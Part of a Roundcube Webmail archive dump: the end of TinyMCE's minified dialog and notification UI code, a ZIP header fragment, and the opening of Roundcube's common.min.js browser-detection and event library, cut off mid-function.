e=c.getBody();wT.getState(e).get().exists(function(t){return t.isTabPanel()})&&cd.getCurrent(e).each(function(t){xB.showTab(t,n)})})},redial:function(n){t(function(t){var e=o(n);t.getSystem().broadcastOn([kB],e),t.getSystem().broadcastOn([CB],e.internalDialog),t.getSystem().broadcastOn([OB],e.internalDialog),t.getSystem().broadcastOn([_B],e.internalDialog),l.setData(e.initialData)})},close:function(){t(function(t){vr(t,yx)})}};return l}function zD(t){return x(t)&&-1!==FB.indexOf(t.mceAction)}function UD(o,t,r,e){var n,i,u,a=DD(o.title,e),c=(i={dom:{tag:"div",classes:["tox-dialog__content-js"]},components:[{dom:{tag:"div",classes:["tox-dialog__body-iframe"]},components:[fw({dom:{tag:"iframe",attributes:{src:o.url}},behaviours:ec([gx.config({}),Mg.config({})])})]}],behaviours:ec([Tg.config({mode:"acyclic",useTabstopAt:O(gw)})])},qD.parts.body(i)),s=o.buttons.bind(function(t){return 0===t.length?vt.none():vt.some(VD({buttons:t},e))}),l=DB(function(){return v},BD(function(){return h},e.shared.providers,t)),f=lt(lt({},o.height.fold(function(){return{}},function(t){return{height:t+"px","max-height":t+"px"}})),o.width.fold(function(){return{}},function(t){return{width:t+"px","max-width":t+"px"}})),d=o.width.isNone()&&o.height.isNone()?["tox-dialog--width-lg"]:[],m=new MB(o.url,{base_uri:new MB(window.location.href)}),g=m.protocol+"://"+m.host+(m.port?":"+m.port:""),p=mc(),h=MD({header:a,body:c,footer:s,extraClasses:d,extraBehaviours:[mm("messages",[ou(function(){var t=pc(Mt.fromDom(window),"message",function(t){var e,n;m.isSameOrigin(new MB(t.raw.origin))&&(zD(e=t.raw.data)?function(t,e,n){switch(n.mceAction){case"insertContent":t.insertContent(n.content);break;case"setContent":t.setContent(n.content);break;case"execCommand":var o=!!w(n.ui)&&n.ui;t.execCommand(n.cmd,o,n.value);break;case"close":e.close();break;case"block":e.block(n.message);break;case"unblock":e.unblock()}}(r,v,e):!zD(n=e)&&x(n)&&Tt(n,"mceAction")&&o.onMessage(v,e))});p.set(t)}),ru(p.clear)]),ic.config({channels:((n={})[TB]={onReceive:function(t,e){Iu(t.element,"iframe").each(function(t){t.dom.contentWindow.postMessage(e,g)})}},n)})],extraStyles:f},o,l,e),v={block:function(e){if(!y(e))throw new Error("The urlDialogInstanceAPI.block function should be passed a blocking message of type string as an argument");b(function(t){br(t,kx,{message:e})})},unblock:function(){b(function(t){vr(t,Cx)})},close:function(){b(function(t){vr(t,yx)})},sendMessage:function(e){b(function(t){t.getSystem().broadcastOn([TB],e)})}};function b(t){u.getSystem().isConnected()&&t(u)}return{dialog:u=h,instanceApi:v}}function jD(t){function o(t,y){return dB.open(function(t,e,n){var o,r,i,u,a,c,s,l,f,d,m,g,p,h,v=e,b=(r={redial:dB.redial,closeWindow:function(){qD.hide(b.dialog),y(b.instanceApi)}},i=R,c=DD((o={dataValidator:n,initialData:v,internalDialog:t}).internalDialog.title,i),u=i,a=bD({body:o.internalDialog.body},vt.none(),u,!1),s=qD.parts.body(a),l=FD(o.internalDialog.buttons),f=ID(l),d=VD({buttons:l},i),m=AB(function(){return h},BD(function(){return p},i.shared.providers,r),i.shared.getSink),g=function(){switch(o.internalDialog.size){case"large":return["tox-dialog--width-lg"];case"medium":return["tox-dialog--width-md"];default:return[]}}(),p=MD({header:c,body:s,footer:vt.some(d),extraClasses:g,extraBehaviours:[],extraStyles:{}},o,m,i),h=LD({getRoot:rt(p),getBody:function(){return qD.getBody(p)},getFooter:function(){return qD.getFooter(p)},getFormWrapper:function(){var t=qD.getBody(p);return cd.getCurrent(t).getOr(t)}},r.redial,f),{dialog:p,instanceApi:h});return qD.show(b.dialog),b.instanceApi.setData(v),b.instanceApi},t)}function r(t,M,F,I){return dB.open(function(t,e,n){function o(){return E.on(function(t){tp.reposition(t),zO.refresh(t)})}var r,i,u,a,c,s,l,f,d,m,g,p,h,v,b,y,x,w,S,k,C,O,_,T=co(ao("data",n,e)),E=gc(),D=R.shared.header.isPositionedAtTop(),A=(i={dataValidator:n,initialData:T,internalDialog:t},u={redial:dB.redial,closeWindow:function(){E.on(tp.hide),N.off("ResizeEditor",o),E.clear(),F(A.instanceApi)}},a=R,c=I,v=Ir("dialog-label"),b=Ir("dialog-content"),y=Lm((f={title:i.internalDialog.title,draggable:!0},d=v,m=a.shared.providers,sx.sketch({dom:Hm('<div class="tox-dialog__header"></div>'),components:[TD(f,vt.some(d),m),ED(),_D(m)],containerBehaviours:ec([iD.config({mode:"mouse",blockerClass:"blocker",getTarget:function(t){return Ru(t,'[role="dialog"]').getOrDie()},snaps:{getSnapPoints:function(){return[]},leftAttr:"data-drag-left",topAttr:"data-drag-top"}})])}))),x=Lm((g={body:i.internalDialog.body},p=a,h=c,bD(g,vt.some(b),p,h))),w=FD(i.internalDialog.buttons),S=ID(w),k=Lm(BB({buttons:w},a)),C=AB(function(){return _},{onBlock:function(n){s_.block(O,function(t,e){return AD(n.message,e,a.shared.providers)})},onUnblock:function(){s_.unblock(O)},onClose:function(){return u.closeWindow()}},a.shared.getSink),O=Tu({dom:{tag:"div",classes:["tox-dialog","tox-dialog-inline"],attributes:((s={role:"dialog"})["aria-labelledby"]=v,s["aria-describedby"]=b,s)},eventOrder:((l={})[Fi()]=[wT.name(),ic.name()],l[Ii()]=["execute-on-form"],l[Gi()]=["reflecting","execute-on-form"],l),behaviours:ec([Tg.config({mode:"cyclic",onEscape:function(t){return vr(t,yx),vt.some(!0)},useTabstopAt:function(t){return!gw(t)&&("button"!==Ft(t)||"disabled"!==ie(t,"disabled"))}}),wT.config({channel:kB,updateState:function(t,e){return vt.some(e)},initialData:i}),Mg.config({}),mm("execute-on-form",C.concat([Ar(bi(),function(t,e){Tg.focusIn(t)})])),s_.config({getRoot:function(){return vt.some(O)}}),Dg.config({}),gk({})]),components:[y.asSpec(),x.asSpec(),k.asSpec()]}),_=LD({getRoot:rt(O),getFooter:function(){return k.get(O)},getBody:function(){return x.get(O)},getFormWrapper:function(){var t=x.get(O);return cd.getCurrent(t).getOr(t)}},u.redial,S),{dialog:O,instanceApi:_}),B=Tu(tp.sketch(lt(lt({lazySink:R.shared.getSink,dom:{tag:"div",classes:[]},fireDismissalEventInstead:{}},D?{}:{fireRepositionEventInstead:{}}),{inlineBehaviours:ec(V([mm("window-manager-inline-events",[Cr(Yi(),function(t,e){vr(A.dialog,xx)})])],(r=N,P&&D?[]:[zO.config({contextual:{lazyContext:function(){return vt.some(Mn(Mt.fromDom(r.getContentAreaContainer())))},fadeInClass:"tox-dialog-dock-fadein",fadeOutClass:"tox-dialog-dock-fadeout",transitionClass:"tox-dialog-dock-transition"},modes:["top"]})]),!0)),isExtraPart:function(t,e){return Xy(n=e,".tox-alert-dialog")||Xy(n,".tox-confirm-dialog");var n}})));return E.set(B),tp.showWithin(B,Eu(A.dialog),{anchor:M},vt.some(bn())),P&&D||(zO.refresh(B),N.on("ResizeEditor",o)),A.instanceApi.setData(T),Tg.focusIn(A.dialog),A.instanceApi},t)}var c,s,l,f,R=t.backstage,N=t.editor,P=fb(N),n=(s=(c=t).backstage.shared,{open:function(t,e){function n(){qD.hide(u),e()}var o=Lm($w({name:"close-alert",text:"OK",primary:!0,align:"end",disabled:!1,icon:vt.none()},"cancel",c.backstage)),r=wD(),i=xD(n,s.providers),u=Tu(OD({lazySink:function(){return s.getSink()},header:yD(r,i),body:SD(t,s.providers),footer:vt.some(kD(CD([],[o.asSpec()]))),onEscape:n,extraClasses:["tox-alert-dialog"],extraBehaviours:[],extraStyles:{},dialogEvents:[Cr(xx,n)],eventOrder:{}}));qD.show(u);var a=o.get(u);Mg.focus(a)}}),i=(f=(l=t).backstage.shared,{open:function(t,e){function n(t){qD.hide(a),e(t)}var o=Lm($w({name:"yes",text:"Yes",primary:!0,align:"end",disabled:!1,icon:vt.none()},"submit",l.backstage)),r=$w({name:"no",text:"No",primary:!1,align:"end",disabled:!1,icon:vt.none()},"cancel",l.backstage),i=wD(),u=xD(function(){return n(!1)},f.providers),a=Tu(OD({lazySink:function(){return f.getSink()},header:yD(i,u),body:SD(t,f.providers),footer:vt.some(kD(CD([],[r,o.asSpec()]))),onEscape:function(){return n(!1)},extraClasses:["tox-confirm-dialog"],extraBehaviours:[],extraStyles:{},dialogEvents:[Cr(xx,function(){return n(!1)}),Cr(Sx,function(){return n(!0)})],eventOrder:{}}));qD.show(a);var c=o.get(a);Mg.focus(c)}});return{open:function(t,e,n){return void 0!==e&&"toolbar"===e.inline?r(t,R.shared.anchors.inlineDialog(),n,e.ariaAttrs):void 0!==e&&"cursor"===e.inline?r(t,R.shared.anchors.cursor(),n,e.ariaAttrs):o(t,n)},openUrl:function(t,e){return n=e,dB.openUrl(function(t){var e=UD(t,{closeWindow:function(){qD.hide(e.dialog),n(e.instanceApi)}},N,R);return qD.show(e.dialog),e.instanceApi},t);var n},alert:function(t,e){n.open(t,function(){e()})},close:function(t){t.close()},confirm:function(t,e){i.open(t,function(t){e(t)})}}}(PE=NE=NE||{})[PE.None=0]="None",PE[PE.Both=1]="Both",PE[PE.Vertical=2]="Vertical";var WD,GD=rt([mo("lazySink"),wo("dragBlockClass"),Io("getBounds",Fn),Eo("useTabstopAt",D),Eo("eventOrder",{}),Zs("modalBehaviours",[Tg]),$u("onExecute"),Zu("onEscape")]),XD={sketch:h},YD=rt([Qf({name:"draghandle",overrides:function(t,e){return{behaviours:ec([iD.config({mode:"mouse",getTarget:function(t){return Fu(t,'[role="dialog"]').getOr(t)},blockerClass:t.dragBlockClass.getOrDie(new Error("The drag blocker class was not specified for a dialog with a drag handle: \n"+JSON.stringify(e,null,2)).message),getBounds:t.getDragBounds})])}}}),Jf({schema:[mo("dom")],name:"title"}),Jf({factory:XD,schema:[mo("dom")],name:"close"}),Jf({factory:XD,schema:[mo("dom")],name:"body"}),Qf({factory:XD,schema:[mo("dom")],name:"footer"}),$f({factory:{sketch:function(t,e){return lt(lt({},t),{dom:e.dom,components:e.components})}},schema:[Eo("dom",{tag:"div",styles:{position:"fixed",left:"0px",top:"0px",right:"0px",bottom:"0px"}}),Eo("components",[])],name:"blocker"})]),qD=Cl({name:"ModalDialog",configFields:GD(),partFields:YD(),factory:function(a,t,e,r){var n,i=gc(),o=Ir("modal-events"),u=lt(lt({},a.eventOrder),((n={})[Gi()]=[o].concat(a.eventOrder["alloy.system.attached"]||[]),n));return{uid:a.uid,dom:a.dom,components:t,apis:{show:function(t){i.set(t);var e=a.lazySink(t).getOrDie(),n=r.blocker(),o=e.getSystem().build(lt(lt({},n),{components:n.components.concat([Eu(t)]),behaviours:ec([Mg.config({}),mm("dialog-blocker-events",[Ar(bi(),function(){Tg.focusIn(t)})])])}));Ns(e,o),Tg.focusIn(t)},hide:function(e){i.clear(),Yt(e.element).each(function(t){e.getSystem().getByDom(t).each(function(t){Vs(t)})})},getBody:function(t){return gl(t,a,"body")},getFooter:function(t){return gl(t,a,"footer")},setIdle:function(t){s_.unblock(t)},setBusy:function(t,e){s_.block(t,e)}},eventOrder:u,domModification:{attributes:{role:"dialog","aria-modal":"true"}},behaviours:el(a.modalBehaviours,[Dg.config({}),Tg.config({mode:"cyclic",onEnter:a.onExecute,onEscape:a.onEscape,useTabstopAt:a.useTabstopAt}),s_.config({getRoot:i.get}),mm(o,[ou(function(t){var e,n,o,r=t.element,i=gl(t,a,"title").element,u=ue(r,"id").fold(function(){var t=Ir("dialog-label");return oe(i,"id",t),t},h);oe(r,"aria-labelledby",u),e=t.element,n=gl(t,a,"body").element,o=vt.from(ie(e,"id")).fold(function(){var t=Ir("dialog-describe");return oe(n,"id",t),t},h),oe(e,"aria-describedby",o)})])])}},apis:{show:function(t,e){t.show(e)},hide:function(t,e){t.hide(e)},getBody:function(t,e){return t.getBody(e)},getFooter:function(t,e){return t.getFooter(e)},setBusy:function(t,e,n){t.setBusy(e,n)},setIdle:function(t,e){t.setIdle(e)}}}),KD=$o([po("type"),po("name")].concat(Lv)),JD=nr,$D=[ar("name","name",Wn(function(){return Ir("button-name")}),er),Co("icon"),Mo("align","end",["start","end"]),Fo("primary",!1),Fo("disabled",!1)],QD=V(V([],$D,!0),[po("text")],!1),ZD=V([ho("type",["submit","cancel","custom"])],QD,!0),tA=lo("type",{submit:ZD,cancel:ZD,custom:ZD,menu:V([ho("type",["menu"]),Co("text"),Co("tooltip"),Co("icon"),xo("items",KD)],$D,!0)}),eA=[po("type"),po("text"),ho("level",["info","warn","error","success"]),po("icon"),Eo("url","")],nA=$o(eA),oA=[po("type"),po("text"),Fo("disabled",!1),Fo("primary",!1),ar("name","name",Wn(function(){return Ir("button-name")}),er),Co("icon"),Fo("borderless",!1)],rA=$o(oA),iA=[po("type"),po("name"),po("label"),Fo("disabled",!1)],uA=$o(iA),aA=nr,cA=[po("type"),po("name")],sA=cA.concat([Co("label")]),lA=sA.concat([Eo("columns","auto")]),fA=$o(lA),dA=Qo([po("value"),po("text"),po("icon")]),mA=$o(sA),gA=er,pA=$o(sA),hA=er,vA=cA.concat([Bo("tag","textarea"),po("scriptId"),po("scriptUrl"),Do("settings",void 0,ir)]),bA=cA.concat([Bo("tag","textarea"),vo("init")]),yA=io(function(t){return ao("customeditor.old",to(bA),t).orThunk(function(){return ao("customeditor.new",to(vA),t)})}),xA=er,wA=$o(sA),SA=eo(Jo),kA=[po("type"),po("html"),Mo("presets","presentation",["presentation","document"])],CA=$o(kA),OA=sA.concat([Fo("sandboxed",!0)]),_A=$o(OA),TA=er,EA=sA.concat([go("currentState",$o([mo("blob"),po("url")]))]),DA=$o(EA),AA=sA.concat([Co("inputMode"),Co("placeholder"),Fo("maximized",!1),Fo("disabled",!1)]),BA=$o(AA),MA=er,FA=[po("text"),po("value")],IA=[po("text"),xo("items",(WD=Rt(function(){return RA}),{extract:function(t,e){return WD().extract(t,e)},toString:function(){return WD().toString()}}))],RA=no([$o(FA),$o(IA)]),NA=sA.concat([xo("items",RA),Fo("disabled",!1)]),PA=$o(NA),VA=er,HA=sA.concat([yo("items",[po("text"),po("value")]),Ao("size",1),Fo("disabled",!1)]),LA=$o(HA),zA=er,UA=sA.concat([Fo("constrain",!0),Fo("disabled",!1)]),jA=$o(UA),WA=$o([po("width"),po("height")]),GA=[po("type"),xo("header",er),xo("cells",eo(er))],XA=$o(GA),YA=sA.concat([Co("placeholder"),Fo("maximized",!1),Fo("disabled",!1)]),qA=$o(YA),KA=er,JA=sA.concat([Mo("filetype","file",["image","media","file"]),Eo("disabled",!1)]),$A=$o(JA),QA=$o([po("value"),Eo("meta",{})]),ZA=Zn(function(){return ro("type",{alertbanner:nA,bar:$o((n=lD("bar"),[po("type"),n])),button:rA,checkbox:uA,colorinput:mA,colorpicker:pA,dropzone:wA,grid:$o((t=lD("grid"),[po("type"),go("columns",tr),t])),iframe:_A,input:BA,listbox:PA,selectbox:LA,sizeinput:jA,textarea:qA,urlinput:$A,customeditor:yA,htmlpanel:CA,imagetools:DA,collection:fA,label:$o((e=lD("label"),[po("type"),po("label"),e])),table:XA,panel:eB});var t,e,n}),tB=[po("type"),Eo("classes",[]),xo("items",ZA)],eB=$o(tB),nB=[ar("name","name",Wn(function(){return Ir("tab-name")}),er),po("title"),xo("items",ZA)],oB=[po("type"),yo("tabs",nB)],rB=$o(oB),iB=QD,uB=tA,aB=$o([po("title"),go("body",ro("type",{panel:eB,tabpanel:rB})),Bo("size","normal"),xo("buttons",uB),Eo("initialData",{}),Io("onAction",st),Io("onChange",st),Io("onSubmit",st),Io("onClose",st),Io("onCancel",st),Eo("onTabChange",st)]),cB=$o(V([ho("type",["cancel","custom"])],iB,!0)),sB=$o([po("title"),po("url"),ko("height"),ko("width"),_o("buttons",cB),Io("onAction",st),Io("onCancel",st),Io("onClose",st),Io("onMessage",st)]),lB=function(t){return x(t)?[t].concat(H(Z(t),lB)):c(t)?H(t,lB):[]},fB={checkbox:aA,colorinput:gA,colorpicker:hA,dropzone:SA,input:MA,iframe:TA,sizeinput:WA,selectbox:zA,listbox:VA,size:WA,textarea:KA,urlinput:QA,customeditor:xA,collection:dA,togglemenuitem:JD},dB={open:function(t,e){var n=dD(e);return t(n.internalDialog,n.initialData,n.dataValidator)},openUrl:function(t,e){return t(co(ao("dialog",sB,e)))},redial:dD},mB=kl({name:"TabButton",configFields:[Eo("uid",void 0),mo("value"),ar("dom","dom",Yn(function(){return{attributes:{role:"tab",id:Ir("aria"),"aria-selected":"false"}}}),Zo()),wo("action"),Eo("domModification",{}),Zs("tabButtonBehaviours",[Mg,Tg,Df]),mo("view")],factory:function(t,e){return{uid:t.uid,dom:t.dom,components:t.components,events:Sm(t.action),behaviours:el(t.tabButtonBehaviours,[Mg.config({}),Tg.config({mode:"execution",useSpace:!0,useEnter:!0}),Df.config({store:{mode:"memory",initialValue:t.value}})]),domModification:t.domModification}}}),gB=rt([mo("tabs"),mo("dom"),Eo("clickToDismiss",!1),Zs("tabbarBehaviours",[hd,Tg]),qu(["tabClass","selectedClass"])]),pB=rt([Zf({factory:mB,name:"tabs",unit:"tab",overrides:function(o){return{action:function(t){var e=t.getSystem().getByUid(o.uid).getOrDie(),n=hd.isHighlighted(e,t);(n&&o.clickToDismiss?function(t,e){hd.dehighlight(t,e),br(t,Qi(),{tabbar:t,button:e})}:n?st:function(t,e){hd.highlight(t,e),br(t,$i(),{tabbar:t,button:e})})(e,t)},domModification:{classes:[o.markers.tabClass]}}}})]),hB=Cl({name:"Tabbar",configFields:gB(),partFields:pB(),factory:function(t,e,n,o){return{uid:t.uid,dom:t.dom,components:e,"debug.sketcher":"Tabbar",domModification:{attributes:{role:"tablist"}},behaviours:el(t.tabbarBehaviours,[hd.config({highlightClass:t.markers.selectedClass,itemClass:t.markers.tabClass,onHighlight:function(t,e){oe(e.element,"aria-selected","true")},onDehighlight:function(t,e){oe(e.element,"aria-selected","false")}}),Tg.config({mode:"flow",getInitial:function(t){return hd.getHighlighted(t).map(function(t){return t.element})},selector:"."+t.markers.tabClass,executeOnMove:!0})])}}}),vB=kl({name:"Tabview",configFields:[Zs("tabviewBehaviours",[Dg])],factory:function(t,e){return{uid:t.uid,dom:t.dom,behaviours:el(t.tabviewBehaviours,[Dg.config({})]),domModification:{attributes:{role:"tabpanel"}}}}}),bB=rt([Eo("selectFirst",!0),Ju("onChangeTab"),Ju("onDismissTab"),Eo("tabs",[]),Zs("tabSectionBehaviours",[])]),yB=rt([Jf({factory:hB,schema:[mo("dom"),bo("markers",[mo("tabClass"),mo("selectedClass")])],name:"tabbar",defaults:function(t){return{tabs:t.tabs}}}),Jf({factory:vB,name:"tabview"})]),xB=Cl({name:"TabSection",configFields:bB(),partFields:yB(),factory:function(i,t,e,n){function o(t,e){ml(t,i,"tabbar").each(function(t){e(t).each(yr)})}return{uid:i.uid,dom:i.dom,components:t,behaviours:tl(i.tabSectionBehaviours),events:nu(ft([i.selectFirst?[ou(function(t,e){o(t,hd.getFirst)})]:[],[Cr($i(),function(t,e){var o=e.event.button,r=Df.getValue(o);ml(o,i,"tabview").each(function(n){N(i.tabs,function(t){return t.value===r}).each(function(t){var e=t.view();ue(o.element,"id").each(function(t){oe(n.element,"aria-labelledby",t)}),Dg.set(n,e),i.onChangeTab(n,o,e)})})}),Cr(Qi(),function(t,e){var n=e.event.button;i.onDismissTab(t,n)})]])),apis:{getViewItems:function(t){return ml(t,i,"tabview").map(function(t){return Dg.contents(t)}).getOr([])},showTab:function(t,n){o(t,function(e){return N(hd.getCandidates(e),function(t){return Df.getValue(t)===n}).filter(function(t){return!hd.isHighlighted(e,t)})})}}}},apis:{getViewItems:function(t,e){return t.getViewItems(e)},showTab:function(t,e,n){t.showTab(e,n)}}}),wB="send-data-to-section",SB="send-data-to-view",kB=Ir("update-dialog"),CB=Ir("update-title"),OB=Ir("update-body"),_B=Ir("update-footer"),TB=Ir("body-send-message"),EB=ty.deviceType.isTouch(),DB=function(u,t){function e(t,i){return Cr(t,function(n,o){var e,r;e=n,r=function(t,e){i(u(),t,o.event,n)},wT.getState(e).get().each(function(t){r(t,e)})})}return V(V([],RD(e,t),!0),[e(wx,function(t,e,n){e.onAction(t,{name:n.name})})],!1)},AB=function(u,t,c){function e(t,i){return Cr(t,function(n,o){var e,r;e=n,r=function(t,e){i(u(),t,o.event,n)},wT.getState(e).get().each(function(t){r(t.internalDialog,e)})})}return V(V([],RD(e,t),!0),[e(Sx,function(t,e){return e.onSubmit(t)}),e(bx,function(t,e,n){e.onChange(t,{name:n.name})}),e(wx,function(t,e,n,o){function r(){return Tg.focusIn(o)}function i(t){return ae(t,"disabled")||ue(t,"aria-disabled").exists(function(t){return"true"===t})}var u=gn(o.element),a=Oa(u);e.onAction(t,{name:n.name,value:n.value}),Oa(u).fold(r,function(e){i(e)||a.exists(function(t){return Ut(e,t)&&i(t)})?r():c().toOptional().filter(function(t){return!Ut(t.element,e)}).each(r)})}),e(Ox,function(t,e,n){e.onTabChange(t,{newTabName:n.name,oldTabName:n.oldName})}),ru(function(t){var e=u();Df.setValue(t,e.getData())})],!1)},BB=PD,MB=tinymce.util.Tools.resolve("tinymce.util.URI"),FB=["insertContent","setContent","execCommand","close","block","unblock"];o.add("silver",function(t){var e=sD(t),n=e.uiMothership,o=e.backstage,r=e.renderUI,i=e.getUi;return ix(t,o.shared),{renderUI:r,getWindowManagerImpl:rt(jD({editor:t,backstage:o})),getNotificationManagerImpl:function(){return u=t,r=n,l={backstage:o}.backstage.shared,{open:function(t,e){function n(){e(),tp.hide(c)}var o=!t.closeButton&&t.timeout&&(0<t.timeout||t.timeout<0),a=Tu(ph.sketch({text:t.text,level:wt(["success","error","warning","warn","info"],t.type)?t.type:void 0,progress:!0===t.progressBar,icon:vt.from(t.icon),closeButton:!o,onAction:n,iconProvider:l.providers.icons,translationProvider:l.providers.translate})),c=Tu(tp.sketch(lt({dom:{tag:"div",classes:["tox-notifications-container"]},lazySink:l.getSink,fireDismissalEventInstead:{}},l.header.isPositionedAtTop()?{}:{fireRepositionEventInstead:{}})));function s(){var t=Mn(Mt.fromDom(u.getContentAreaContainer())),e=Fn(),n=Wa(e.x,t.x,t.right),o=Wa(e.y,t.y,t.bottom),r=Math.max(t.right,e.right),i=Math.max(t.bottom,e.bottom);return vt.some(Bn(n,o,r-n,i-o))}return r.add(c),0<t.timeout&&rp.setTimeout(function(){n()},t.timeout),{close:n,moveTo:function(t,e){tp.showAt(c,Eu(a),{anchor:{type:"makeshift",x:t,y:e}})},moveRel:function(t,e){var n,o,r,i=Eu(a),u={maxHeightFunction:Nc()};"banner"!==e&&k(t)?(n=function(){switch(e){case"bc-bc":return op;case"tc-tc":return np;case"tc-bc":return Ja;default:return $a}}(),o={type:"node",root:bn(),node:vt.some(Mt.fromDom(t)),overrides:u,layouts:{onRtl:function(){return[n]},onLtr:function(){return[n]}}},tp.showWithinBounds(c,i,{anchor:o},s)):(r=lt(lt({},l.anchors.banner()),{overrides:u}),tp.showWithinBounds(c,i,{anchor:r},s))},text:function(t){ph.updateText(a,t)},settings:t,getEl:function(){return a.element.dom},progressBar:{value:function(t){ph.updateProgress(a,t)}}}},close:function(t){t.close()},reposition:function(n){0<n.length&&St(n,function(t,e){0===e?t.moveRel(null,"banner"):t.moveRel(n[e-1].getEl(),"bc-tc")})},getArgs:function(t){return t.settings}};var u,r,l},ui:i()}})}();PK
h�\菵��1�1program/js/common.min.jsnu�[���/**
 * Roundcube common js library
 *
 * This file is part of the Roundcube Webmail client
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can
 * redistribute it and/or modify it under the terms of the GNU
 * General Public License (GNU GPL) as published by the Free Software
 * Foundation, either version 3 of the License, or (at your option)
 * any later version.  The code is distributed WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS
 * FOR A PARTICULAR PURPOSE.  See the GNU GPL for more details.
 *
 * As additional permission under GNU GPL version 3 section 7, you
 * may distribute non-source (e.g., minimized or compacted) forms of
 * that code without the copy of the GNU GPL normally required by
 * section 4, provided you include this license notice and a URL
 * through which recipients can access the Corresponding Source.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
var CONTROL_KEY=1,SHIFT_KEY=2,CONTROL_SHIFT_KEY=3;function roundcube_browser(){var e=navigator;this.agent=e.userAgent,this.agent_lc=e.userAgent.toLowerCase(),this.name=e.appName,this.vendor=e.vendor||"",this.vendver=e.vendorSub?parseFloat(e.vendorSub):0,this.product=e.product||"",this.platform=String(e.platform).toLowerCase(),this.lang=e.language?e.language.substring(0,2):e.browserLanguage?e.browserLanguage.substring(0,2):e.systemLanguage?e.systemLanguage.substring(0,2):"en",this.win=0<=this.platform.indexOf("win"),this.mac=0<=this.platform.indexOf("mac"),this.linux=0<=this.platform.indexOf("linux"),this.unix=0<=this.platform.indexOf("unix"),this.dom=!!document.getElementById,this.dom2=document.addEventListener&&document.removeEventListener,this.edge=0<this.agent_lc.indexOf(" edge/")||0<this.agent_lc.indexOf(" edg/"),this.webkit=!this.edge&&0<this.agent_lc.indexOf("applewebkit"),this.ie=document.all&&!window.opera||this.win&&0<this.agent_lc.indexOf("trident/"),window.opera?(this.opera=!0,this.vendver=opera.version()):this.ie||this.edge||(this.chrome=0<this.agent_lc.indexOf("chrome"),this.opera=this.webkit&&0<this.agent.indexOf(" OPR/"),this.safari=!this.chrome&&!this.opera&&(this.webkit||0<this.agent_lc.indexOf("safari")),this.konq=0<this.agent_lc.indexOf("konqueror"),this.mz=this.dom&&!this.chrome&&!this.safari&&!this.konq&&!this.opera&&0<=this.agent.indexOf("Mozilla"),this.iphone=this.safari&&(0<this.agent_lc.indexOf("iphone")||0<this.agent_lc.indexOf("ipod")||"ipod"==this.platform||"iphone"==this.platform),this.ipad=this.safari&&(0<this.agent_lc.indexOf("ipad")||"ipad"==this.platform)),this.vendver||(pattern=this.ie?/(msie|rv)(\s|:)([0-9\.]+)/:this.edge?/(edge?)(\/)([0-9\.]+)/:this.opera?/(opera|opr)(\/)([0-9\.]+)/:this.konq?/(konqueror)(\/)([0-9\.]+)/:this.safari?/(version)(\/)([0-9\.]+)/:this.chrome?/(chrome)(\/)([0-9\.]+)/:this.mz?/(firefox)(\/)([0-9\.]+)/:/(khtml|safari|applewebkit|rv)(\s|\/|:)([0-9\.]+)/,this.vendver=pattern.test(this.agent_lc)?parseFloat(RegExp.$3):0),this.safari&&/;\s+([a-z]{2})-[a-z]{2}\)/.test(this.agent_lc)&&(this.lang=RegExp.$1),this.mobile=/iphone|ipod|blackberry|iemobile|opera mini|opera mobi|mobile/i.test(this.agent_lc),this.tablet=!this.mobile&&/ipad|android|xoom|sch-i800|playbook|tablet|kindle/i.test(this.agent_lc),this.touch=this.mobile||this.tablet,this.pointer="function"==typeof window.PointerEvent,this.cookies=e.cookieEnabled,this.set_html_class=function(){var e=" js";this.ie?e+=" ms ie ie"+parseInt(this.vendver):this.edge&&74<this.vendver?e+=" chrome":this.edge?e+=" ms edge":this.opera?e+=" opera":this.konq?e+=" konqueror":this.safari||this.chrome?e+=" chrome":this.mz&&(e+=" mozilla"),this.iphone?e+=" iphone":this.ipad?e+=" ipad":this.webkit&&(e+=" webkit"),this.mobile&&(e+=" mobile"),this.tablet&&(e+=" tablet"),document.documentElement&&(document.documentElement.className+=e)}}var rcube_event={get_target:function(e){return(e=e||window.event)&&e.target?e.target:e.srcElement||document},get_keycode:function(e){return(e=e||window.event)&&e.keyCode?e.keyCode:e&&e.which?e.which:0},get_button:function(e){return(e=e||window.event)&&void 0!==e.button?e.button:e&&e.which?e.which:0},get_modifier:function(e){var t=0;return e=e||window.event,bw.mac&&e?t+=(e.metaKey&&CONTROL_KEY)+(e.shiftKey&&SHIFT_KEY):e&&(t+=(e.ctrlKey&&CONTROL_KEY)+(e.shiftKey&&SHIFT_KEY)),t},get_mouse_pos:function(e){var t=(e=e||window.event).pageX||e.clientX,n=e.pageY||e.clientY;return document.body&&document.all&&(t+=document.body.scrollLeft,n+=document.body.scrollTop),e._offset&&(t+=e._offset.left,n+=e._offset.top),{x:t,y:n}},add_listener:function(t){var e;t.object&&t.method&&(t.element||(t.element=document),t.object._rc_events||(t.object._rc_events={}),e=t.event+"*"+t.method,t.object._rc_events[e]||(t.object._rc_events[e]=function(e){return t.object[t.method](e)}),t.element.addEventListener?t.element.addEventListener(t.event,t.object._rc_events[e],!1):t.element.attachEvent?(t.element.detachEvent("on"+t.event,t.object._rc_events[e]),t.element.attachEvent("on"+t.event,t.object._rc_events[e])):t.element["on"+t.event]=t.object._rc_events[e])},remove_listener:function(e){e.element||(e.element=document);var t=e.event+"*"+e.method;e.object&&e.object._rc_events&&e.object._rc_events[t]&&(e.element.removeEventListener?e.element.removeEventListener(e.event,e.object._rc_events[t],!1):e.element.detachEvent?e.element.detachEvent("on"+e.event,e.object._rc_events[t]):e.element["on"+e.event]=null)},cancel:function(e){e=e||window.event;return e.preventDefault?e.preventDefault():e.returnValue=!1,e.stopPropagation&&e.stopPropagation(),!(e.cancelBubble=!0)},is_keyboard:function(e){return!!e&&(e.type?!!e.type.match(/^key/)||"click"==e.type&&!e.clientX:!e.pageX&&(e.pageY||0)<=0&&!e.clientX&&(e.clientY||0)<=0)},keyboard_only:function(e){return!!rcube_event.is_keyboard(e)||rcube_event.cancel(e)},touchevent:function(e){return{pageX:e.pageX,pageY:e.pageY,offsetX:e.pageX-e.target.offsetLeft,offsetY:e.pageY-e.target.offsetTop,target:e.target,istouch:!0}}};function rcube_event_engine(){this._events={}}function rcube_check_email(e,t,n,i){if(!e)return!!n&&0;n&&(t=!0);var 